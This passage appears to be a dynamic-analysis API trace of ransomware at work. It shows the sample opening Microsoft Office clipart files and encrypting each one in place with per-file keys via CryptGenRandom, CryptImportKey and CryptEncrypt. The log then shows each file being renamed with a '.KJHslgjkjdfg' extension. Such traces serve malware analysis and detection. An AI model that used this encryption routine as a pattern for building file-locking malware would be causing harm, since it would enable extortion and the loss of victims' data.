returned 1 [0189.679] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x34f0, dwBufLen=0x34f0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x34f0) returned 1 [0189.679] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.679] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x34f0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x34f0, lpOverlapped=0x0) returned 1 [0189.679] CryptDestroyKey (hKey=0x9b6628) returned 1 [0189.679] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x35c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.679] SetEndOfFile (hFile=0x130) returned 1 [0189.682] GetProcessHeap () returned 0x990000 [0189.682] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0189.682] GetProcessHeap () returned 0x990000 [0189.682] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0189.682] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00526_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00526_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00526_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00526_.wmf.kjhslgjkjdfg")) returned 1 [0189.683] CloseHandle (hObject=0x130) returned 1 [0189.684] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2c3e500, ftCreationTime.dwHighDateTime=0x1bd4aed, ftLastAccessTime.dwLowDateTime=0x5386f090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd2c3e500, ftLastWriteTime.dwHighDateTime=0x1bd4aed, nFileSizeHigh=0x0, nFileSizeLow=0x16a6, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="HH00527_.WMF", cAlternateFileName="")) returned 1 [0189.684] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00527_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00527_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0189.686] GetProcessHeap () returned 0x990000 [0189.686] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0189.686] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0189.686] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0189.686] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xa, lpOverlapped=0x0) returned 1 [0189.689] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0189.689] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0189.689] GetProcessHeap () returned 0x990000 [0189.689] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0189.689] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0189.689] CryptDestroyKey (hKey=0x9b6628) returned 1 [0189.689] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0189.689] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0189.689] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0189.689] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0189.689] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0189.689] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0189.689] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0189.690] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0189.690] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.690] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x16a6, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x16a6, lpOverlapped=0x0) returned 1 [0189.691] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x16b0, dwBufLen=0x16b0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x16b0) returned 1 [0189.691] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.691] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x16b0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x16b0, lpOverlapped=0x0) returned 1 [0189.691] CryptDestroyKey (hKey=0x9b6628) returned 1 [0189.691] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1784, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.691] SetEndOfFile (hFile=0x130) returned 1 [0189.694] GetProcessHeap () returned 0x990000 [0189.694] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0189.694] GetProcessHeap () returned 0x990000 [0189.694] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0189.694] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00527_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00527_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00527_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00527_.wmf.kjhslgjkjdfg")) returned 1 [0189.695] CloseHandle (hObject=0x130) returned 1 [0189.695] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5c49d600, ftCreationTime.dwHighDateTime=0x1bd4b33, ftLastAccessTime.dwLowDateTime=0x538951f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5c49d600, ftLastWriteTime.dwHighDateTime=0x1bd4b33, nFileSizeHigh=0x0, nFileSizeLow=0xe86, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="HH00546_.WMF", cAlternateFileName="")) returned 1 [0189.695] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00546_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00546_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0189.696] GetProcessHeap () returned 0x990000 [0189.696] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0189.696] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0189.696] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0189.696] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xa, lpOverlapped=0x0) returned 1 [0189.698] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0189.699] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0189.699] GetProcessHeap () returned 0x990000 [0189.699] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0189.699] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0189.699] CryptDestroyKey (hKey=0x9b6628) returned 1 [0189.699] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0189.699] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0189.699] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0189.699] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0189.699] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0189.700] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0189.700] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0189.700] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0189.700] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.700] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0xe86, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0xe86, lpOverlapped=0x0) returned 1 [0189.700] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0xe90, dwBufLen=0xe90 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0xe90) returned 1 [0189.700] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.700] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0xe90, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0xe90, lpOverlapped=0x0) returned 1 [0189.700] CryptDestroyKey (hKey=0x9b6628) returned 1 [0189.700] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xf64, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.700] SetEndOfFile (hFile=0x130) returned 1 [0189.702] GetProcessHeap () returned 0x990000 [0189.702] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0189.702] GetProcessHeap () returned 0x990000 [0189.702] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0189.703] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00546_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00546_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00546_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00546_.wmf.kjhslgjkjdfg")) returned 1 [0189.703] CloseHandle (hObject=0x130) returned 1 [0189.703] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x48e63d00, ftCreationTime.dwHighDateTime=0x1bd4b2a, ftLastAccessTime.dwLowDateTime=0x61ca6dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x48e63d00, ftLastWriteTime.dwHighDateTime=0x1bd4b2a, nFileSizeHigh=0x0, nFileSizeLow=0x5bc, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="HH00601_.WMF", cAlternateFileName="")) returned 1 [0189.704] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00601_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00601_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0189.704] GetProcessHeap () returned 0x990000 [0189.704] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0189.704] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0189.704] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0189.704] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0189.707] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0189.707] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0189.707] GetProcessHeap () returned 0x990000 [0189.707] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0189.707] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0189.707] CryptDestroyKey (hKey=0x9b6628) returned 1 [0189.707] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0189.707] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0189.707] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0189.707] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0189.707] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0189.707] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0189.707] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0189.707] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0189.707] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.708] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x5bc, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x5bc, lpOverlapped=0x0) returned 1 [0189.708] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x5c0, dwBufLen=0x5c0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x5c0) returned 1 [0189.708] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.708] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x5c0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x5c0, lpOverlapped=0x0) returned 1 [0189.708] CryptDestroyKey (hKey=0x9b6628) returned 1 [0189.708] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x694, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.708] SetEndOfFile (hFile=0x130) returned 1 [0189.710] GetProcessHeap () returned 0x990000 [0189.710] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0189.710] GetProcessHeap () returned 0x990000 [0189.710] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0189.710] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00601_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00601_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00601_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00601_.wmf.kjhslgjkjdfg")) returned 1 [0189.711] CloseHandle (hObject=0x130) returned 1 [0189.711] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5eb62b00, ftCreationTime.dwHighDateTime=0x1bd4b47, ftLastAccessTime.dwLowDateTime=0x61ca6dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5eb62b00, ftLastWriteTime.dwHighDateTime=0x1bd4b47, nFileSizeHigh=0x0, nFileSizeLow=0x578, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="HH00602_.WMF", cAlternateFileName="")) returned 1 [0189.712] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00602_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00602_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0189.712] GetProcessHeap () returned 0x990000 [0189.712] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0189.712] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0189.712] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0189.712] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0189.714] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0189.715] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0189.715] GetProcessHeap () returned 0x990000 [0189.715] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0189.715] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0189.715] CryptDestroyKey (hKey=0x9b6628) returned 1 [0189.715] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0189.715] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0189.715] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0189.715] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0189.715] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0189.715] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0189.715] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0189.715] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0189.715] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.715] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x578, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x578, lpOverlapped=0x0) returned 1 [0189.715] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x580, dwBufLen=0x580 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x580) returned 1 [0189.715] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.716] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x580, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x580, lpOverlapped=0x0) returned 1 [0189.716] CryptDestroyKey (hKey=0x9b6628) returned 1 [0189.716] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x654, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.716] SetEndOfFile (hFile=0x130) returned 1 [0189.718] GetProcessHeap () returned 0x990000 [0189.718] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0189.718] GetProcessHeap () returned 0x990000 [0189.718] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0189.718] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00602_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00602_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00602_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft 